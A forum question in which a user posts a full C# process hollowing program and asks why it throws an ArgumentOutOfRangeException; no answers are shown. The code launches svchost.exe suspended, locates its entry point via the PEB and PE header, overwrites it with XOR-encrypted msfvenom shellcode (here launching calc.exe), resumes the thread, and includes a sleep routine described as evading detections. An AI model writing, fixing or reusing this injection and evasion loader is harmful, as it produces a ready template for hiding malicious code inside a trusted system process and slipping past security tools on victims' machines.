System.ArgumentOutOfRangeException: I passed this error in every single program

62 views Asked by At

I'm working on process holllowing and each time I build someone program in visual studio.

I pass through the same error:

System.ArgumentOutOfRangeException: 'Index was out of range. Must be non-negative and less than the size of the collection.
Parameter name: startIndex'
using System;
using static Process_Hollowing.Imports.Imports;

namespace Process_Hollowing
{
    class Program
    {
        public static void sleep()
        {
            var rand = new Random();
            uint randTime = (uint)rand.Next(10000, 20000);
            double decide = randTime / 1000 - 0.5;
            DateTime now = DateTime.Now;
            Console.WriteLine("[*] Sleeping for {0} seconds to evade detections...", randTime / 1000);
            Sleep(randTime);
            if (DateTime.Now.Subtract(now).TotalSeconds < decide)
            {
                return;
            }
        }

        public static void Hollow()
        {
            PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
            STARTUPINFO startup_info = new STARTUPINFO();
            PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();

            string path = @"C:\\Windows\\System32\\svchost.exe";
            bool procINIT = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, CreationFlags.SUSPENDED,
                IntPtr.Zero, null, ref startup_info, ref proc_info);
            if (procINIT == true)
            {
                Console.WriteLine("[*] Process create successfully.");
                Console.WriteLine("[*] Process ID: {0}", proc_info.dwProcessId);
            }
            else
            {
                Console.WriteLine("[-] Could not create the process.");
            }

            // msfvenom -p windows/x64/exec CMD=calc.exe -f csharp EXITFUNC=thread --encrypt xor --encrypt-key z
            byte[] buf = new byte[276] {
                0x86,0x32,0xf9,0x9e,0x8a,0x92,0xba,0x7a,0x7a,0x7a,0x3b,0x2b,0x3b,0x2a,0x28,
                0x2b,0x2c,0x32,0x4b,0xa8,0x1f,0x32,0xf1,0x28,0x1a,0x32,0xf1,0x28,0x62,0x32,
                0xf1,0x28,0x5a,0x32,0xf1,0x08,0x2a,0x32,0x75,0xcd,0x30,0x30,0x37,0x4b,0xb3,
                0x32,0x4b,0xba,0xd6,0x46,0x1b,0x06,0x78,0x56,0x5a,0x3b,0xbb,0xb3,0x77,0x3b,
                0x7b,0xbb,0x98,0x97,0x28,0x3b,0x2b,0x32,0xf1,0x28,0x5a,0xf1,0x38,0x46,0x32,
                0x7b,0xaa,0xf1,0xfa,0xf2,0x7a,0x7a,0x7a,0x32,0xff,0xba,0x0e,0x1d,0x32,0x7b,
                0xaa,0x2a,0xf1,0x32,0x62,0x3e,0xf1,0x3a,0x5a,0x33,0x7b,0xaa,0x99,0x2c,0x32,
                0x85,0xb3,0x3b,0xf1,0x4e,0xf2,0x32,0x7b,0xac,0x37,0x4b,0xb3,0x32,0x4b,0xba,
                0xd6,0x3b,0xbb,0xb3,0x77,0x3b,0x7b,0xbb,0x42,0x9a,0x0f,0x8b,0x36,0x79,0x36,
                0x5e,0x72,0x3f,0x43,0xab,0x0f,0xa2,0x22,0x3e,0xf1,0x3a,0x5e,0x33,0x7b,0xaa,
                0x1c,0x3b,0xf1,0x76,0x32,0x3e,0xf1,0x3a,0x66,0x33,0x7b,0xaa,0x3b,0xf1,0x7e,
                0xf2,0x32,0x7b,0xaa,0x3b,0x22,0x3b,0x22,0x24,0x23,0x20,0x3b,0x22,0x3b,0x23,
                0x3b,0x20,0x32,0xf9,0x96,0x5a,0x3b,0x28,0x85,0x9a,0x22,0x3b,0x23,0x20,0x32,
                0xf1,0x68,0x93,0x2d,0x85,0x85,0x85,0x27,0x32,0xc0,0x7b,0x7a,0x7a,0x7a,0x7a,
                0x7a,0x7a,0x7a,0x32,0xf7,0xf7,0x7b,0x7b,0x7a,0x7a,0x3b,0xc0,0x4b,0xf1,0x15,
                0xfd,0x85,0xaf,0xc1,0x9a,0x67,0x50,0x70,0x3b,0xc0,0xdc,0xef,0xc7,0xe7,0x85,
                0xaf,0x32,0xf9,0xbe,0x52,0x46,0x7c,0x06,0x70,0xfa,0x81,0x9a,0x0f,0x7f,0xc1,
                0x3d,0x69,0x08,0x15,0x10,0x7a,0x23,0x3b,0xf3,0xa0,0x85,0xaf,0x19,0x1b,0x16,
                0x19,0x54,0x1f,0x02,0x1f,0x7a };

            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(buf[i] ^ (byte)'z');
            }

            uint retLength = 0;
            IntPtr procHandle = proc_info.hProcess;
            IntPtr threadHandle = proc_info.hThread;
            ZwQueryInformationProcess(procHandle, PROCESSBASICINFORMATION, ref pbi, (uint)(IntPtr.Size * 6), ref retLength);
            IntPtr imageBaseAddr = (IntPtr)((Int64)pbi.PebAddress + 0x10);
            Console.WriteLine("[*] Image Base Address found: 0x{0}", imageBaseAddr.ToString("x"));

            byte[] baseAddrBytes = new byte[0x8];
            IntPtr lpNumberofBytesRead = IntPtr.Zero;
            ReadProcessMemory(procHandle, imageBaseAddr, baseAddrBytes, baseAddrBytes.Length, out lpNumberofBytesRead);
            IntPtr execAddr = (IntPtr)(BitConverter.ToInt64(baseAddrBytes, 0));

            byte[] data = new byte[0x200];
            ReadProcessMemory(procHandle, execAddr, data, data.Length, out lpNumberofBytesRead);
            uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
            Console.WriteLine("[*] e_lfanew: 0x{0}", e_lfanew.ToString("X"));

            uint rvaOffset = e_lfanew + 0x28;
            uint rva = BitConverter.ToUInt32(data, (int)rvaOffset);
            IntPtr entrypointAddr = (IntPtr)((UInt64)execAddr + rva);
            Console.WriteLine("[*] Entrypoint Found: 0x{0}", entrypointAddr.ToString("X"));

            IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
            WriteProcessMemory(procHandle, entrypointAddr, buf, buf.Length, ref lpNumberOfBytesWritten);
            Console.WriteLine("[*] Memory written. Resuming thread...");
            ResumeThread(threadHandle);
        }
        static void Main(string[] args)
        {
            sleep();
            Hollow();
        }
    }
}

Here is the code

I really tried to change everything including size and more but nothing works

0

There are 0 answers